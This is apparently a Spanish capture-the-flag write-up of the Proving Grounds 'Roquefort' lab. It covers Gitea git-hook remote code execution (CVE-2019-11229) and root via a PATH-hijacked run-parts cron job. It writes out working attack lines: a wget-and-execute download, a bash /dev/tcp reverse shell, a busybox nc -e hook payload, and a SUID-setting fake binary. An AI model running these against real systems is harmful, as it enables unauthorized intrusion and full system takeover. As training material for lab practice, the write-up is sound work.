the_open_door
café
ESEN

Roquefort

Proving Grounds PracticeFácilLinux192.168.230.67

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#gitea#cve-2019-11229#git-hooks#authenticated-rce#run-parts#path-hijacking#cron#suid#oscp
TL;DR. Roquefort corre Gitea v1.7.5 en el 3000. Registramos una cuenta y abusamos de los git hooks: un hook post-receive malicioso ejecuta comandos al hacer push (RCE por git hook de Gitea, CVE-2019-11229), dándonos shell como chloe. Un cron de root ejecuta run-parts con /usr/local/bin (escribible) por delante en el PATH, así que dejamos ahí un run-parts falso que pone el bit SUID a bash (secuestro de PATH) y bash -p nos da root.

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Cuatro puertos:

ping -c 1 192.168.230.67
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.230.67
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
2222/tcp open  ssh
3000/tcp open  http
nmap -p21,22,2222,3000 -sCV 192.168.230.67 -oN targetedScan
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     ProFTPD 1.3.5b
22/tcp   open  ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
2222/tcp open  ssh     Dropbear sshd 2016.74 (protocol 2.0)
3000/tcp open  http    Gitea: Git with a cup of tea

El 2222 es un Dropbear (SSH del propio Gitea para operaciones git). El vector web está en el 3000.

Gitea - TCP 3000

El puerto 3000 sirve Gitea v1.7.5. searchsploit la marca vulnerable a una RCE autenticada:

Instancia de Gitea v1.7.5 en el puerto 3000

searchsploit gitea 1.7.5
Gitea 1.7.5 - Remote Code Execution | multiple/webapps/49383.py   (CVE-2019-11229)

Explotación

CVE-2019-11229: RCE por git hook

Gitea permite a un usuario autenticado definir git hooks en sus repositorios. Un hook post-receive es un script que el servidor ejecuta tras recibir un push, con los privilegios del proceso de Gitea; si inyectamos ahí un comando, tenemos RCE (RCE por git hook de Gitea). Como el ataque es autenticado, primero nos registramos (test/test123), que Gitea permite libremente:

Registro en Gitea del usuario test / test@test.com

El exploit 49383.py automatiza el resto (crea el repositorio, inyecta el hook y dispara un push). El comando descarga y ejecuta nuestra reverse shell:

searchsploit -m multiple/webapps/49383.py
# En 49383.py: USERNAME=test PASSWORD=test123
# CMD='wget http://192.168.45.211:21/shell.sh && bash shell.sh'
python3 49383.py

Antes de disparar la shell, dejamos Penelope a la escucha en el puerto 2222:

penelope 2222
cat shell.sh
#!/bin/bash
bash -i >& /dev/tcp/192.168.45.211/2222 0>&1

El exploit inyecta el hook y el push devuelve una reverse shell como chloe

(Penelope)> listeners add -p 2222
[+] Got reverse shell from roquefort~192.168.230.67-Linux-x86_64  Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python3!
chloe@roquefort:~/gitea-repositories/test/gobrmbqr.git$ whoami
chloe

El push dispara el hook, el exploit recibe la conexión y Penelope la promociona a PTY: la shell corre como chloe, la cuenta que ejecuta Gitea.

Alternativa manual

El exploit no es imprescindible: la misma RCE se consigue a mano, y así se ve exactamente qué hace. Con la cuenta test ya creada, en la web creamos un repositorio (también test):

Gitea New Repository: repositorio test propiedad de test

En local inicializamos un repo con un primer commit:

mkdir test && cd test
touch README.md
git init
git add README.md
git commit -m "first commit"

git init, add y commit "first commit" en local

hint: Using 'master' as the name for the initial branch. This default branch name
hint: is subject to change. To configure the initial branch name to use in all
hint: of your new repositories, which will suppress this warning, call:

Y lo apuntamos al repositorio remoto de Gitea:

git remote add origin http://192.168.230.67:3000/test/test.git

git remote add origin apuntando a test/test.git en el 3000

La pieza clave está en Settings → Git Hooks: Gitea deja editar el hook post-receive desde la web:

Settings &gt; Git Hooks del repo: pre-receive, update y post-receive editables

Le pegamos una reverse shell y pulsamos Update Hook:

#!/bin/bash
busybox nc 192.168.45.211 2222 -e bash

Editor del hook post-receive con busybox nc 192.168.45.211 2222 -e bash

test / test        Settings
  Repository | Collaborators | Webhooks | Git Hooks | Deploy Keys

Git Hooks
If the hook is inactive, sample content will be presented. Leaving content to an empty value will disable this hook.
  Hook Name     post-receive
  Hook Content
    #!/bin/bash
    busybox nc 192.168.45.211 2222 -e bash
  [ Update Hook ]

Al hacer push, el servidor ejecuta el hook y cae la reverse shell como chloe:

git push -u origin master

git push dispara el post-receive; Penelope recibe la shell como chloe

Username for 'http://192.168.230.67:3000': test
Password for 'http://test@192.168.230.67:3000':
Enumerating objects: 3, done.
Counting objects: 100% (3/3), done.
Writing objects: 100% (3/3), 205 bytes | 205.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)

(Penelope)> listeners add -p 2222
[+] Listening for reverse shells on 0.0.0.0:2222
[+] Got reverse shell from roquefort~192.168.230.67-Linux-x86_64  Assigned SessionID <1>
(Penelope)> sessions 1
[+] Attempting to upgrade shell to PTY ...
[+] Shell upgraded successfully using /usr/bin/python3!
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12

chloe@roquefort:~/gitea-repositories/test/test.git$ whoami
chloe

Local

cat local.txt && whoami && ip a && hostname

local.txt leída como chloe en roquefort

35c5e23451938907cea2837617c301d5
chloe

Escalada de privilegios

Secuestro de PATH en run-parts

Dos comprobaciones a mano dan la escalada: el PATH del cron de root y los permisos de sus carpetas.

cat /etc/crontab
ls -ld /usr/local/bin

El PATH del cron incluye /usr/local/bin por delante de /bin, y esa carpeta es escribible por nuestro usuario. Las tareas de cron lanzan run-parts sin ruta absoluta (cd / && run-parts --report /etc/cron.hourly). linpeas (repo) resume ambos detalles en su salida:

linpeas muestra /usr/local/bin en el PATH y el cron de root llamando a run-parts

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

*/5 *  * * *  root  cd / && run-parts --report /etc/cron.hourly

Los dos detalles que confirman el vector: /usr/local/bin aparece en el PATH del cron (por delante de /sbin y /bin) y las tareas invocan run-parts sin ruta absoluta.

Como root resuelve run-parts recorriendo el PATH y /usr/local/bin va primero, un binario nuestro con ese nombre se ejecuta antes que el legítimo (secuestro de PATH). Dejamos ahí un run-parts que ponga el bit SUID a bash; cuando salte el cron (cada hora), bash quedará SUID root y bash -p (que conserva el UID efectivo) abre una shell de root:

# /usr/local/bin/run-parts
#!/bin/bash

chmod u+s /bin/bash
ls -l /bin/bash
bash -p

Tras el cron, /bin/bash queda SUID root y bash -p devuelve root

chloe@roquefort:/usr/local/bin$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1099016 May 15  2017 /bin/bash
chloe@roquefort:/usr/local/bin$ bash -p
bash-4.4# whoami
root

En cuanto salta el cron horario, nuestro run-parts se ejecuta como root: /bin/bash pasa a -rwsr-xr-x (SUID root) y bash -p conserva el UID efectivo 0, dándonos una shell de root.

Root

cat /root/proof.txt && whoami && ip a && hostname

proof.txt leída como root en roquefort

0434132802ca205b00e7951cd691b35a
root

Cadena de ataque

HTTP (3000)  --  Gitea v1.7.5
        │  registrar cuenta -> CVE-2019-11229: git hook post-receive
        │  push -> RCE -> reverse shell
        ▼
chloe  (local.txt)
        │  cron root ejecuta run-parts (sin ruta) con /usr/local/bin escribible
        │  run-parts falso -> chmod u+s /bin/bash -> bash -p
        ▼
root  (proof.txt)

Lecciones aprendidas

  • Los git hooks son ejecución de código por diseño. Gitea 1.7.5 dejaba a un usuario normal definir un post-receive, y ese script corre en el servidor. Restringir quién puede editar hooks es tan crítico como cualquier permiso de escritura.
  • Un binario sin ruta absoluta en un cron de root es un regalo. run-parts se resolvía por PATH, y con /usr/local/bin escribible y prioritario, el secuestro fue inmediato. Los scripts de root deben invocar rutas absolutas.
  • /usr/local/bin escribible rompe el sistema. Va por delante de /bin en casi cualquier PATH; poder escribir ahí permite suplantar binarios estándar. Sus permisos deben ser tan estrictos como los de /bin.
Cheatsheet de comandos 8 comandos

Repaso rápido